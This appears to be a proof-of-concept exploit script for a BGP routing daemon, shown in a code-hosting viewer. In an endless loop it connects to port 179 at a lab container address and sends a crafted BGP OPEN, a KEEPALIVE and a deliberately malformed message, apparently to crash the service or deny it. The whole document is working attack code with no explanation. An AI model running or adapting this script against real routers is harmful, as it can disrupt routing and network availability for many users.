blob: 5b0fb679ffc245b426e91c0e1d95edfb0effa4a0 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
import socket
from time import sleep
bgp_open = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00#\x01\x04\x00\x02\x00\x05\xac\x11\x00\x01\xff\xff\x00\x03\x00\x01\x00'
bgp_keepalive = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04'
bgp_notification = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x15\x04xv'
while True:
try:
print("[+] Creating socket...")
s = socket.socket(type=socket.SOCK_STREAM)
print("[+] Connecting to server...")
s.connect(('172.17.0.3', 179))
s.send(bgp_open)
sleep(0.0009999999)
s.send(bgp_keepalive)
s.send(bgp_notification)
except KeyboardInterrupt:
s.close()
break
except:
s.close()
|